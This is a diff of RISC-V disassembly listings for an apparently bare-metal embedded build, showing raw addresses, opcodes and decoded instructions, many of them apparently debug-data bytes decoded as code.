+     48a:	055a                	slli	a0,a0,0x16
+     48c:	40410803          	lb	a6,1028(sp)
+     490:	0020                	addi	s0,sp,8
+     492:	6619                	lui	a2,0x6
+     494:	4019                	c.li	zero,6
+     496:	fa20                	fsw	fs0,112(a2)
+     498:	83000007          	0x83000007
+     49c:	0004                	0x4
+     49e:	1a00                	addi	s0,sp,304
+     4a0:	5a01                	li	s4,-32
+     4a2:	0305                	addi	t1,t1,1
+     4a4:	4150                	lw	a2,4(a0)
+     4a6:	2040                	fld	fs0,128(s0)
+     4a8:	1900                	addi	s0,sp,176
+     4aa:	1972                	slli	s2,s2,0x3c
+     4ac:	2040                	fld	fs0,128(s0)
+     4ae:	07fa                	slli	a5,a5,0x1e
+     4b0:	0000                	unimp
+     4b2:	049a                	slli	s1,s1,0x6
+     4b4:	0000                	unimp
+     4b6:	011a                	slli	sp,sp,0x6
+     4b8:	055a                	slli	a0,a0,0x16
+     4ba:	403f5803          	lhu	a6,1027(t5)
+     4be:	0020                	addi	s0,sp,8
+     4c0:	821c                	0x821c
+     4c2:	4019                	c.li	zero,6
+     4c4:	6620                	flw	fs0,72(a2)
+     4c6:	0008                	0x8
+     4c8:	1a00                	addi	s0,sp,304
+     4ca:	5a01                	li	s4,-32
+     4cc:	3101                	jal	cc <__stack_size-0x734>
+     4ce:	011a                	slli	sp,sp,0x6
+     4d0:	9803055b          	0x9803055b
+     4d4:	4041                	c.li	zero,16
+     4d6:	1a20                	addi	s0,sp,312
+     4d8:	5c01                	li	s8,-32
+     4da:	3701                	jal	3da <__stack_size-0x426>
+     4dc:	0000                	unimp
+     4de:	010d0407          	0x10d0407
+     4e2:	0000                	unimp
+     4e4:	eb08                	fsw	fa0,16(a4)
+     4e6:	0000                	unimp
+     4e8:	ce00                	sw	s0,24(a2)
+     4ea:	0004                	0x4
+     4ec:	0900                	addi	s0,sp,144
+     4ee:	00a2                	slli	ra,ra,0x8
      4f0:	0000                	unimp
-     4f2:	04e4                	addi	s1,sp,588
-     4f4:	0000                	unimp
-     4f6:	015a0113          	addi	sp,s4,21
-     4fa:	1331                	addi	t1,t1,-20
-     4fc:	5b01                	li	s6,-32
-     4fe:	0305                	addi	t1,t1,1
-     500:	5a34                	lw	a3,112(a2)
-     502:	2040                	fld	fs0,128(s0)
-     504:	015c0113          	addi	sp,s8,21
-     508:	f2120033          	0xf2120033
-     50c:	20204027          	fsq	ft2,512(zero) # 200 <__stack_size-0x600>
-     510:	001d                	c.nop	7
-     512:	f800                	fsw	fs0,48(s0)
-     514:	0004                	0x4
-     516:	1300                	addi	s0,sp,416
-     518:	5a01                	li	s4,-32
-     51a:	7902                	flw	fs2,32(sp)
-     51c:	0000                	unimp
-     51e:	0012                	c.slli	zero,0x4
-     520:	4028                	lw	a0,64(s0)
-     522:	1420                	addi	s0,sp,552
-     524:	001d                	c.nop	7
-     526:	1200                	addi	s0,sp,288
-     528:	0005                	c.nop	1
-     52a:	1300                	addi	s0,sp,416
-     52c:	5a01                	li	s4,-32
-     52e:	3101                	jal	12e <__stack_size-0x6d2>
-     530:	035b0113          	addi	sp,s6,53
-     534:	4c91                	li	s9,4
-     536:	0006                	c.slli	zero,0x1
-     538:	1012                	c.slli	zero,0x24
-     53a:	4028                	lw	a0,64(s0)
-     53c:	1420                	addi	s0,sp,552
-     53e:	001d                	c.nop	7
-     540:	3300                	fld	fs0,32(a4)
-     542:	0005                	c.nop	1
-     544:	1300                	addi	s0,sp,416
-     546:	5a01                	li	s4,-32
-     548:	3101                	jal	148 <__stack_size-0x6b8>
-     54a:	055b0113          	addi	sp,s6,85
-     54e:	405a3803          	0x405a3803
-     552:	1320                	addi	s0,sp,424
-     554:	5c01                	li	s8,-32
-     556:	3201                	jal	fffffe56 <_heap_end+0x7fff1656>
-     558:	1200                	addi	s0,sp,288
-     55a:	2834                	fld	fa3,80(s0)
-     55c:	2040                	fld	fs0,128(s0)
-     55e:	1d20                	addi	s0,sp,696
-     560:	0000                	unimp
-     562:	00000547          	fmsub.s	fa0,ft0,ft0,ft0,rne
-     566:	025a0113          	addi	sp,s4,37
-     56a:	0079                	c.nop	30
-     56c:	1200                	addi	s0,sp,288
-     56e:	2870                	fld	fa2,208(s0)
-     570:	2040                	fld	fs0,128(s0)
-     572:	1d14                	addi	a3,sp,688
-     574:	0000                	unimp
-     576:	055a                	slli	a0,a0,0x16
-     578:	0000                	unimp
-     57a:	015a0113          	addi	sp,s4,21
-     57e:	0031                	c.nop	12
-     580:	9814                	0x9814
-     582:	4028                	lw	a0,64(s0)
-     584:	2020                	fld	fs0,64(s0)
-     586:	001d                	c.nop	7
-     588:	1200                	addi	s0,sp,288
-     58a:	28b2                	fld	fa7,264(sp)
-     58c:	2040                	fld	fs0,128(s0)
-     58e:	1d2c                	addi	a1,sp,696
-     590:	0000                	unimp
-     592:	00000577          	0x577
-     596:	025a0113          	addi	sp,s4,37
-     59a:	0079                	c.nop	30
-     59c:	1200                	addi	s0,sp,288
-     59e:	28c2                	fld	fa7,16(sp)
-     5a0:	2040                	fld	fs0,128(s0)
-     5a2:	1d14                	addi	a3,sp,688
+     4f2:	0014                	0x14
+     4f4:	8f1d                	sub	a4,a4,a5
+     4f6:	0085                	addi	ra,ra,1
+     4f8:	0100                	addi	s0,sp,128
+     4fa:	2418                	fld	fa4,8(s0)
+     4fc:	1a46                	slli	s4,s4,0x31
+     4fe:	2040                	fld	fs0,128(s0)
+     500:	02cc                	addi	a1,sp,324
+     502:	0000                	unimp
+     504:	9c01                	0x9c01
+     506:	07ee                	slli	a5,a5,0x1b
+     508:	0000                	unimp
+     50a:	a51e                	fsd	ft7,136(sp)
+     50c:	0050                	addi	a2,sp,4
+     50e:	0100                	addi	s0,sp,128
+     510:	161a                	slli	a2,a2,0x26
+     512:	00000077          	0x77
+     516:	003d                	c.nop	15
+     518:	0000                	unimp
+     51a:	ac1e                	fsd	ft7,24(sp)
+     51c:	006a                	c.slli	zero,0x1a
+     51e:	0100                	addi	s0,sp,128
+     520:	0077161b          	0x77161b
+     524:	0000                	unimp
+     526:	0000005b          	0x5b
+     52a:	b51e                	fsd	ft7,168(sp)
+     52c:	009e                	slli	ra,ra,0x7
+     52e:	0100                	addi	s0,sp,128
+     530:	161c                	addi	a5,sp,800
+     532:	00000077          	0x77
+     536:	009c                	addi	a5,sp,64
+     538:	0000                	unimp
+     53a:	6318                	flw	fa4,0(a4)
+     53c:	0100                	addi	s0,sp,128
+     53e:	076c                	addi	a1,sp,908
+     540:	000000eb          	0xeb
+     544:	7fa89103          	lh	sp,2042(a7)
+     548:	0016                	c.slli	zero,0x5
+     54a:	0000                	unimp
+     54c:	3900                	fld	fs0,48(a0)
+     54e:	0005                	c.nop	1
+     550:	1800                	addi	s0,sp,48
+     552:	3061                	jal	fffffdda <_heap_end+0x7fff15da>
+     554:	0100                	addi	s0,sp,128
+     556:	1f1a                	slli	t5,t5,0x26
+     558:	0070                	addi	a2,sp,12
+     55a:	0000                	unimp
+     55c:	5a01                	li	s4,-32
+     55e:	1400                	addi	s0,sp,544
+     560:	1a7a                	slli	s4,s4,0x3e
+     562:	2040                	fld	fs0,128(s0)
+     564:	000c                	0xc
+     566:	0000                	unimp
+     568:	0554                	addi	a3,sp,644
+     56a:	0000                	unimp
+     56c:	6118                	flw	fa4,0(a0)
+     56e:	0030                	addi	a2,sp,8
+     570:	1b01                	addi	s6,s6,-32
+     572:	701f 0000 0100      	0x1000000701f
+     578:	005a                	c.slli	zero,0x16
+     57a:	1816                	slli	a6,a6,0x25
+     57c:	0000                	unimp
+     57e:	6b00                	flw	fs0,16(a4)
+     580:	0005                	c.nop	1
+     582:	1800                	addi	s0,sp,48
+     584:	3061                	jal	fffffe0c <_heap_end+0x7fff160c>
+     586:	0100                	addi	s0,sp,128
+     588:	1f1c                	addi	a5,sp,944
+     58a:	0070                	addi	a2,sp,12
+     58c:	0000                	unimp
+     58e:	5a01                	li	s4,-32
+     590:	1600                	addi	s0,sp,800
+     592:	0030                	addi	a2,sp,8
+     594:	0000                	unimp
+     596:	000007bb          	0x7bb
+     59a:	3311                	jal	29e <__stack_size-0x562>
+     59c:	003d                	c.nop	15
+     59e:	0100                	addi	s0,sp,128
+     5a0:	00d4165b          	0xd4165b
      5a4:	0000                	unimp
-     5a6:	0598                	addi	a4,sp,704
-     5a8:	0000                	unimp
-     5aa:	015a0113          	addi	sp,s4,21
-     5ae:	1331                	addi	t1,t1,-20
-     5b0:	5b01                	li	s6,-32
-     5b2:	0305                	addi	t1,t1,1
-     5b4:	5a44                	lw	s1,52(a2)
-     5b6:	2040                	fld	fs0,128(s0)
-     5b8:	015c0113          	addi	sp,s8,21
-     5bc:	0034                	addi	a3,sp,8
-     5be:	d212                	sw	tp,36(sp)
-     5c0:	4028                	lw	a0,64(s0)
-     5c2:	1420                	addi	s0,sp,552
-     5c4:	001d                	c.nop	7
-     5c6:	b900                	fsd	fs0,48(a0)
-     5c8:	0005                	c.nop	1
-     5ca:	1300                	addi	s0,sp,416
-     5cc:	5a01                	li	s4,-32
-     5ce:	3101                	jal	1ce <__stack_size-0x632>
-     5d0:	055b0113          	addi	sp,s6,85
-     5d4:	405a4c03          	lbu	s8,1029(s4)
-     5d8:	1320                	addi	s0,sp,424
-     5da:	5c01                	li	s8,-32
-     5dc:	3601                	jal	dc <__stack_size-0x724>
-     5de:	1200                	addi	s0,sp,288
-     5e0:	28d8                	fld	fa4,144(s1)
-     5e2:	2040                	fld	fs0,128(s0)
-     5e4:	1d20                	addi	s0,sp,696
-     5e6:	0000                	unimp
-     5e8:	05cd                	addi	a1,a1,19
-     5ea:	0000                	unimp
-     5ec:	025a0113          	addi	sp,s4,37
-     5f0:	0079                	c.nop	30
-     5f2:	1200                	addi	s0,sp,288
-     5f4:	28e2                	fld	fa7,24(sp)
-     5f6:	2040                	fld	fs0,128(s0)
-     5f8:	1d14                	addi	a3,sp,688
-     5fa:	0000                	unimp
-     5fc:	05e6                	slli	a1,a1,0x19
-     5fe:	0000                	unimp
-     600:	015a0113          	addi	sp,s4,21
-     604:	1331                	addi	t1,t1,-20
-     606:	5b01                	li	s6,-32
-     608:	7902                	flw	fs2,32(sp)
+     5a6:	6201                	0x6201
+     5a8:	7911                	lui	s2,0xfffe4
+     5aa:	01000023          	sb	a6,0(zero) # 0 <__stack_size-0x800>
+     5ae:	0b5c                	addi	a5,sp,404
+     5b0:	00fd                	addi	ra,ra,31
+     5b2:	0000                	unimp
+     5b4:	7fa89103          	lh	sp,2042(a7)
+     5b8:	4e1e                	lw	t3,196(sp)
+     5ba:	0058                	addi	a4,sp,4
+     5bc:	0100                	addi	s0,sp,128
+     5be:	185c                	addi	a5,sp,52
+     5c0:	0096                	slli	ra,ra,0x5
+     5c2:	0000                	unimp
+     5c4:	0208                	addi	a0,sp,256
+     5c6:	0000                	unimp
+     5c8:	bc14                	fsd	fa3,56(s0)
+     5ca:	401c                	lw	a5,0(s0)
+     5cc:	0820                	addi	s0,sp,24
+     5ce:	0000                	unimp
+     5d0:	bb00                	fsd	fs0,48(a4)
+     5d2:	0005                	c.nop	1
+     5d4:	1500                	addi	s0,sp,672
+     5d6:	6472                	flw	fs0,28(sp)
+     5d8:	0100                	addi	s0,sp,128
+     5da:	00700657          	0x700657
+     5de:	0000                	unimp
+     5e0:	1b00                	addi	s0,sp,432
+     5e2:	1ae4                	addi	s1,sp,380
+     5e4:	2040                	fld	fs0,128(s0)
+     5e6:	07fa                	slli	a5,a5,0x1e
+     5e8:	0000                	unimp
+     5ea:	4019                	c.li	zero,6
+     5ec:	fa20401b          	0xfa20401b
+     5f0:	e6000007          	0xe6000007
+     5f4:	0005                	c.nop	1
+     5f6:	1a00                	addi	s0,sp,304
+     5f8:	5a01                	li	s4,-32
+     5fa:	0305                	addi	t1,t1,1
+     5fc:	3cbc                	fld	fa5,120(s1)
+     5fe:	2040                	fld	fs0,128(s0)
+     600:	011a                	slli	sp,sp,0x6
+     602:	1a34015b          	0x1a34015b
+     606:	5c01                	li	s8,-32
+     608:	7802                	flw	fa6,32(sp)
      60a:	0000                	unimp
-     60c:	e812                	fsw	ft4,16(sp)
-     60e:	4028                	lw	a0,64(s0)
-     610:	2020                	fld	fs0,64(s0)
-     612:	001d                	c.nop	7
-     614:	fa00                	fsw	fs0,48(a2)
-     616:	0005                	c.nop	1
-     618:	1300                	addi	s0,sp,416
+     60c:	8c19                	sub	s0,s0,a4
+     60e:	fa20401b          	0xfa20401b
+     612:	08000007          	0x8000007
+     616:	0006                	c.slli	zero,0x1
+     618:	1a00                	addi	s0,sp,304
      61a:	5a01                	li	s4,-32
-     61c:	7902                	flw	fs2,32(sp)
-     61e:	0000                	unimp
-     620:	1014                	addi	a3,sp,32
-     622:	4029                	c.li	zero,10
-     624:	2020                	fld	fs0,64(s0)
-     626:	001d                	c.nop	7
-     628:	1200                	addi	s0,sp,288
-     62a:	2974                	fld	fa3,208(a0)
-     62c:	2040                	fld	fs0,128(s0)
-     62e:	1d14                	addi	a3,sp,688
-     630:	0000                	unimp
-     632:	0624                	addi	s1,sp,776
-     634:	0000                	unimp
-     636:	015a0113          	addi	sp,s4,21
-     63a:	1331                	addi	t1,t1,-20
-     63c:	5b01                	li	s6,-32
-     63e:	0305                	addi	t1,t1,1
-     640:	5a30                	lw	a2,112(a2)
-     642:	2040                	fld	fs0,128(s0)
-     644:	015c0113          	addi	sp,s8,21
-     648:	0032                	c.slli	zero,0xc
-     64a:	8412                	mv	s0,tp
-     64c:	4029                	c.li	zero,10
-     64e:	1420                	addi	s0,sp,552
-     650:	001d                	c.nop	7
-     652:	4500                	lw	s0,8(a0)
-     654:	0006                	c.slli	zero,0x1
-     656:	1300                	addi	s0,sp,416
-     658:	5a01                	li	s4,-32
-     65a:	3101                	jal	25a <__stack_size-0x5a6>
-     65c:	055b0113          	addi	sp,s6,85
-     660:	405a3403          	0x405a3403
-     664:	1320                	addi	s0,sp,424
-     666:	5c01                	li	s8,-32
-     668:	3301                	jal	368 <__stack_size-0x498>
-     66a:	1200                	addi	s0,sp,288
-     66c:	298e                	fld	fs3,192(sp)
-     66e:	2040                	fld	fs0,128(s0)
-     670:	1d20                	addi	s0,sp,696
-     672:	0000                	unimp
-     674:	0659                	addi	a2,a2,22
-     676:	0000                	unimp
-     678:	025a0113          	addi	sp,s4,37
-     67c:	0079                	c.nop	30
-     67e:	1200                	addi	s0,sp,288
-     680:	299c                	fld	fa5,16(a1)
-     682:	2040                	fld	fs0,128(s0)
-     684:	1d14                	addi	a3,sp,688
-     686:	0000                	unimp
-     688:	0672                	slli	a2,a2,0x1c
+     61c:	0305                	addi	t1,t1,1
+     61e:	3cf0                	fld	fa2,248(s1)
+     620:	2040                	fld	fs0,128(s0)
+     622:	011a                	slli	sp,sp,0x6
+     624:	1a35015b          	0x1a35015b
+     628:	5c01                	li	s8,-32
+     62a:	7802                	flw	fa6,32(sp)
+     62c:	0000                	unimp
+     62e:	401ba01b          	0x401ba01b
+     632:	fa20                	fsw	fs0,112(a2)
+     634:	19000007          	0x19000007
+     638:	1bfe                	slli	s7,s7,0x3f
+     63a:	2040                	fld	fs0,128(s0)
+     63c:	0866                	slli	a6,a6,0x19
+     63e:	0000                	unimp
+     640:	0632                	slli	a2,a2,0xc
+     642:	0000                	unimp
+     644:	011a                	slli	sp,sp,0x6
+     646:	015a                	slli	sp,sp,0x16
+     648:	1a31                	addi	s4,s4,-20
+     64a:	5b01                	li	s6,-32
+     64c:	0305                	addi	t1,t1,1
+     64e:	3e28                	fld	fa0,120(a2)
+     650:	2040                	fld	fs0,128(s0)
+     652:	011a                	slli	sp,sp,0x6
+     654:	015c                	addi	a5,sp,132
+     656:	0036                	c.slli	zero,0xd
+     658:	1019                	c.nop	-26
+     65a:	401c                	lw	a5,0(s0)
+     65c:	fa20                	fsw	fs0,112(a2)
+     65e:	5d000007          	0x5d000007
+     662:	0006                	c.slli	zero,0x1
+     664:	1a00                	addi	s0,sp,304
+     666:	5a01                	li	s4,-32
+     668:	0305                	addi	t1,t1,1
+     66a:	3e30                	fld	fa2,120(a2)
+     66c:	2040                	fld	fs0,128(s0)
+     66e:	011a                	slli	sp,sp,0x6
+     670:	0079025b          	0x79025b
+     674:	011a                	slli	sp,sp,0x6
+     676:	025c                	addi	a5,sp,260
+     678:	0078                	addi	a4,sp,12
+     67a:	011a                	slli	sp,sp,0x6
+     67c:	045d                	addi	s0,s0,23
+     67e:	9c91                	0x9c91
+     680:	067f                	0x67f
+     682:	1900                	addi	s0,sp,176
+     684:	1c22                	slli	s8,s8,0x28
+     686:	2040                	fld	fs0,128(s0)
+     688:	07fa                	slli	a5,a5,0x1e
      68a:	0000                	unimp
-     68c:	015a0113          	addi	sp,s4,21
-     690:	1331                	addi	t1,t1,-20
-     692:	5b01                	li	s6,-32
-     694:	8202                	jr	tp
-     696:	0000                	unimp
-     698:	b212                	fsd	ft4,288(sp)
-     69a:	4029                	c.li	zero,10
-     69c:	1420                	addi	s0,sp,552
-     69e:	001d                	c.nop	7
-     6a0:	9300                	0x9300
-     6a2:	0006                	c.slli	zero,0x1
-     6a4:	1300                	addi	s0,sp,416
-     6a6:	5a01                	li	s4,-32
-     6a8:	3101                	jal	2a8 <__stack_size-0x558>
-     6aa:	055b0113          	addi	sp,s6,85
-     6ae:	405a3803          	0x405a3803
-     6b2:	1320                	addi	s0,sp,424
-     6b4:	5c01                	li	s8,-32
-     6b6:	3201                	jal	ffffffb6 <_heap_end+0x7fff17b6>
-     6b8:	1200                	addi	s0,sp,288
-     6ba:	29de                	fld	fs3,464(sp)
-     6bc:	2040                	fld	fs0,128(s0)
-     6be:	1d20                	addi	s0,sp,696
-     6c0:	0000                	unimp
-     6c2:	000006a7          	0x6a7
-     6c6:	025a0113          	addi	sp,s4,37
-     6ca:	0079                	c.nop	30
-     6cc:	1200                	addi	s0,sp,288
-     6ce:	2a06                	fld	fs4,64(sp)
-     6d0:	2040                	fld	fs0,128(s0)
-     6d2:	1d20                	addi	s0,sp,696
-     6d4:	0000                	unimp
-     6d6:	000006bb          	0x6bb
-     6da:	025a0113          	addi	sp,s4,37
-     6de:	0079                	c.nop	30
-     6e0:	1200                	addi	s0,sp,288
-     6e2:	2a2e                	fld	fs4,200(sp)
-     6e4:	2040                	fld	fs0,128(s0)
-     6e6:	1d20                	addi	s0,sp,696
-     6e8:	0000                	unimp
-     6ea:	000006cf          	fnmadd.s	fa3,ft0,ft0,ft0,rne
-     6ee:	025a0113          	addi	sp,s4,37
-     6f2:	0079                	c.nop	30
-     6f4:	1200                	addi	s0,sp,288
-     6f6:	2a3e                	fld	fs4,456(sp)
-     6f8:	2040                	fld	fs0,128(s0)
-     6fa:	1d38                	addi	a4,sp,696
-     6fc:	0000                	unimp
-     6fe:	06e9                	addi	a3,a3,26
-     700:	0000                	unimp
-     702:	025a0113          	addi	sp,s4,37
-     706:	0084                	addi	s1,sp,64
-     708:	025b0113          	addi	sp,s6,37
-     70c:	0079                	c.nop	30
-     70e:	1200                	addi	s0,sp,288
-     710:	2a60                	fld	fs0,208(a2)
-     712:	2040                	fld	fs0,128(s0)
-     714:	1d2c                	addi	a1,sp,696
-     716:	0000                	unimp
-     718:	00000703          	lb	a4,0(zero) # 0 <__stack_size-0x800>
-     71c:	025a0113          	addi	sp,s4,37
-     720:	0079                	c.nop	30
-     722:	025b0113          	addi	sp,s6,37
-     726:	0084                	addi	s1,sp,64
-     728:	1200                	addi	s0,sp,288
-     72a:	2a7a                	fld	fs4,408(sp)
-     72c:	2040                	fld	fs0,128(s0)
-     72e:	1d14                	addi	a3,sp,688
-     730:	0000                	unimp
-     732:	0724                	addi	s1,sp,904
-     734:	0000                	unimp
-     736:	015a0113          	addi	sp,s4,21
-     73a:	1331                	addi	t1,t1,-20
-     73c:	5b01                	li	s6,-32
-     73e:	0305                	addi	t1,t1,1
-     740:	583c                	lw	a5,112(s0)
-     742:	2040                	fld	fs0,128(s0)
-     744:	015c0113          	addi	sp,s8,21
-     748:	0031                	c.nop	12
-     74a:	d612                	sw	tp,44(sp)
-     74c:	402a                	0x402a
-     74e:	1420                	addi	s0,sp,552
-     750:	001d                	c.nop	7
-     752:	4500                	lw	s0,8(a0)
-     754:	13000007          	0x13000007
-     758:	5a01                	li	s4,-32
-     75a:	3101                	jal	35a <__stack_size-0x4a6>
-     75c:	055b0113          	addi	sp,s6,85
-     760:	405a4003          	lbu	zero,1029(s4)
-     764:	1320                	addi	s0,sp,424
-     766:	5c01                	li	s8,-32
-     768:	3301                	jal	468 <__stack_size-0x398>
-     76a:	1200                	addi	s0,sp,288
-     76c:	2ae6                	fld	fs5,88(sp)
-     76e:	2040                	fld	fs0,128(s0)
-     770:	1d14                	addi	a3,sp,688
-     772:	0000                	unimp
-     774:	0766                	slli	a4,a4,0x19
-     776:	0000                	unimp
-     778:	015a0113          	addi	sp,s4,21
-     77c:	1331                	addi	t1,t1,-20
-     77e:	5b01                	li	s6,-32
-     780:	0305                	addi	t1,t1,1
-     782:	5a30                	lw	a2,112(a2)
-     784:	2040                	fld	fs0,128(s0)
-     786:	015c0113          	addi	sp,s8,21
-     78a:	0032                	c.slli	zero,0xc
-     78c:	f612                	fsw	ft4,44(sp)
-     78e:	402a                	0x402a
-     790:	1420                	addi	s0,sp,552
-     792:	001d                	c.nop	7
-     794:	8700                	0x8700
-     796:	13000007          	0x13000007
-     79a:	5a01                	li	s4,-32
-     79c:	3101                	jal	39c <__stack_size-0x464>
-     79e:	055b0113          	addi	sp,s6,85
-     7a2:	405a3403          	0x405a3403
-     7a6:	1320                	addi	s0,sp,424
-     7a8:	5c01                	li	s8,-32
-     7aa:	3301                	jal	4aa <__stack_size-0x356>
-     7ac:	1200                	addi	s0,sp,288
-     7ae:	2b02                	fld	fs6,0(sp)
-     7b0:	2040                	fld	fs0,128(s0)
-     7b2:	1d20                	addi	s0,sp,696
-     7b4:	0000                	unimp
-     7b6:	0000079b          	0x79b
-     7ba:	025a0113          	addi	sp,s4,37
-     7be:	0079                	c.nop	30
-     7c0:	1b00                	addi	s0,sp,432
-     7c2:	2b10                	fld	fa2,16(a4)
-     7c4:	2040                	fld	fs0,128(s0)
-     7c6:	1d14                	addi	a3,sp,688
-     7c8:	0000                	unimp
-     7ca:	015a0113          	addi	sp,s4,21
-     7ce:	1331                	addi	t1,t1,-20
-     7d0:	5b01                	li	s6,-32
-     7d2:	064c9103          	lh	sp,100(s9)
-     7d6:	0000                	unimp
-     7d8:	0800                	addi	s0,sp,16
-     7da:	00ec                	addi	a1,sp,76
-     7dc:	0000                	unimp
-     7de:	07c9                	addi	a5,a5,18
-     7e0:	0000                	unimp
-     7e2:	a009                	j	7e4 <__stack_size-0x1c>
-     7e4:	0000                	unimp
-     7e6:	0700                	addi	s0,sp,896
-     7e8:	a009                	j	7ea <__stack_size-0x16>
-     7ea:	0000                	unimp
-     7ec:	2000                	fld	fs0,0(s0)
-     7ee:	1c00                	addi	s0,sp,560
-     7f0:	a068                	fsd	fa0,192(s0)
-     7f2:	0000                	unimp
-     7f4:	5d01                	li	s10,-32
-     7f6:	0601                	addi	a2,a2,0
-     7f8:	22ec                	fld	fa1,192(a3)
-     7fa:	2040                	fld	fs0,128(s0)
-     7fc:	040c                	addi	a1,sp,512
-     7fe:	0000                	unimp
-     800:	9c01                	0x9c01
-     802:	00000e17          	auipc	t3,0x0
-     806:	7418                	flw	fa4,40(s0)
-     808:	5f01006b          	0x5f01006b
-     80c:	0f01                	addi	t5,t5,0
-     80e:	00000e17          	auipc	t3,0x0
-     812:	017a                	slli	sp,sp,0x1e
-     814:	0000                	unimp
-     816:	5610                	lw	a2,40(a2)
-     818:	16204023          	0x16204023
-     81c:	0000                	unimp
-     81e:	3a00                	fld	fs0,48(a2)
-     820:	0008                	0x8
-     822:	1d00                	addi	s0,sp,688
-     824:	110c                	addi	a1,sp,160
-     826:	0000                	unimp
-     828:	6701                	0x6701
-     82a:	0c01                	addi	s8,s8,0
-     82c:	000000b3          	add	ra,zero,zero
-     830:	03fc                	addi	a5,sp,460
-     832:	0000                	unimp
-     834:	e91d                	bnez	a0,86a <__stack_size+0x6a>
-     836:	0039                	c.nop	14
-     838:	0100                	addi	s0,sp,128
-     83a:	0168                	addi	a0,sp,140
-     83c:	7918                	flw	fa4,48(a0)
-     83e:	0000                	unimp
-     840:	1b00                	addi	s0,sp,432
-     842:	0004                	0x4
-     844:	1b00                	addi	s0,sp,432
-     846:	2360                	fld	fs0,192(a4)
-     848:	2040                	fld	fs0,128(s0)
-     84a:	1d44                	addi	s1,sp,692
-     84c:	0000                	unimp
-     84e:	025a0113          	addi	sp,s4,37
-     852:	0079                	c.nop	30
-     854:	015b0113          	addi	sp,s6,21
-     858:	1330                	addi	a2,sp,424
-     85a:	5c01                	li	s8,-32
-     85c:	4001                	c.li	zero,0
-     85e:	0000                	unimp
-     860:	c81a                	sw	t1,16(sp)
-     862:	0001                	nop
-     864:	cf00                	sw	s0,24(a4)
-     866:	0008                	0x8
-     868:	1d00                	addi	s0,sp,688
-     86a:	110c                	addi	a1,sp,160
-     86c:	0000                	unimp
-     86e:	7101                	addi	sp,sp,-512
-     870:	1301                	addi	t1,t1,-32
-     872:	00d0                	addi	a2,sp,68
-     874:	0000                	unimp
-     876:	042e                	slli	s0,s0,0xb
-     878:	0000                	unimp
-     87a:	e91d                	bnez	a0,8b0 <__stack_size+0xb0>
-     87c:	0039                	c.nop	14
-     87e:	0100                	addi	s0,sp,128
-     880:	0172                	slli	sp,sp,0x1c
-     882:	7918                	flw	fa4,48(a0)
-     884:	0000                	unimp
-     886:	4c00                	lw	s0,24(s0)
-     888:	0004                	0x4
-     88a:	1e00                	addi	s0,sp,816
-     88c:	2384                	fld	fs1,0(a5)
-     88e:	2040                	fld	fs0,128(s0)
-     890:	1d08                	addi	a0,sp,688
-     892:	0000                	unimp
-     894:	bc12                	fsd	ft4,56(sp)
-     896:	44204023          	0x44204023
-     89a:	001d                	c.nop	7
-     89c:	8c00                	0x8c00
-     89e:	0008                	0x8
-     8a0:	1300                	addi	s0,sp,416
-     8a2:	5a01                	li	s4,-32
-     8a4:	8202                	jr	tp
-     8a6:	1300                	addi	s0,sp,416
-     8a8:	5b01                	li	s6,-32
-     8aa:	3001                	jal	aa <__stack_size-0x756>
-     8ac:	015c0113          	addi	sp,s8,21
-     8b0:	0040                	addi	s0,sp,4
-     8b2:	c812                	sw	tp,16(sp)
-     8b4:	44204023          	0x44204023
-     8b8:	001d                	c.nop	7
-     8ba:	aa00                	fsd	fs0,16(a2)
-     8bc:	0008                	0x8
-     8be:	1300                	addi	s0,sp,416
-     8c0:	5a01                	li	s4,-32
-     8c2:	7902                	flw	fs2,32(sp)
-     8c4:	1300                	addi	s0,sp,416
-     8c6:	5b01                	li	s6,-32
-     8c8:	3001                	jal	c8 <__stack_size-0x738>
-     8ca:	015c0113          	addi	sp,s8,21
-     8ce:	0040                	addi	s0,sp,4
-     8d0:	d012                	sw	tp,32(sp)
-     8d2:	20204023          	0x20204023
-     8d6:	001d                	c.nop	7
-     8d8:	be00                	fsd	fs0,56(a2)
-     8da:	0008                	0x8
-     8dc:	1300                	addi	s0,sp,416
-     8de:	5a01                	li	s4,-32
-     8e0:	8202                	jr	tp
-     8e2:	0000                	unimp
-     8e4:	4023e61b          	0x4023e61b
-     8e8:	2020                	fld	fs0,64(s0)
-     8ea:	001d                	c.nop	7
-     8ec:	1300                	addi	s0,sp,416
-     8ee:	5a01                	li	s4,-32
-     8f0:	8202                	jr	tp
-     8f2:	0000                	unimp
-     8f4:	1000                	addi	s0,sp,32
-     8f6:	2414                	fld	fa3,8(s0)
-     8f8:	2040                	fld	fs0,128(s0)
-     8fa:	000e                	c.slli	zero,0x3
-     8fc:	0000                	unimp
-     8fe:	0908                	addi	a0,sp,144
-     900:	0000                	unimp
-     902:	e91d                	bnez	a0,938 <__stack_size+0x138>
-     904:	0039                	c.nop	14
-     906:	0100                	addi	s0,sp,128
-     908:	0182                	c.slli64	gp
-     90a:	7918                	flw	fa4,48(a0)
-     90c:	0000                	unimp
-     90e:	5f00                	lw	s0,56(a4)
-     910:	0004                	0x4
-     912:	1b00                	addi	s0,sp,432
-     914:	241e                	fld	fs0,448(sp)
-     916:	2040                	fld	fs0,128(s0)
-     918:	1d44                	addi	s1,sp,692
-     91a:	0000                	unimp
-     91c:	025a0113          	addi	sp,s4,37
-     920:	0079                	c.nop	30
-     922:	015b0113          	addi	sp,s6,21
-     926:	1330                	addi	a2,sp,424
-     928:	5c01                	li	s8,-32
-     92a:	4001                	c.li	zero,0
-     92c:	0000                	unimp
-     92e:	b410                	fsd	fa2,40(s0)
-     930:	4024                	lw	s1,64(s0)
-     932:	2c20                	fld	fs0,88(s0)
-     934:	0000                	unimp
-     936:	5d00                	lw	s0,56(a0)
-     938:	0009                	c.nop	2
-     93a:	1600                	addi	s0,sp,800
-     93c:	736d                	lui	t1,0xffffb
-     93e:	94010067          	jr	-1728(sp)
-     942:	0901                	addi	s2,s2,0
-     944:	00000e27          	0xe27
-     948:	9102                	jalr	sp
-     94a:	1050                	addi	a2,sp,36
-     94c:	24be                	fld	fs1,456(sp)
-     94e:	2040                	fld	fs0,128(s0)
-     950:	0018                	0x18
-     952:	0000                	unimp
-     954:	0941                	addi	s2,s2,16
+     68c:	0674                	addi	a3,sp,780
+     68e:	0000                	unimp
+     690:	011a                	slli	sp,sp,0x6
+     692:	055a                	slli	a0,a0,0x16
+     694:	403e4c03          	lbu	s8,1027(t3) # 1a403 <__stack_size+0x19c03>
+     698:	0020                	addi	s0,sp,8
+     69a:	3019                	jal	fffffea0 <_heap_end+0x7fff16a0>
+     69c:	401c                	lw	a5,0(s0)
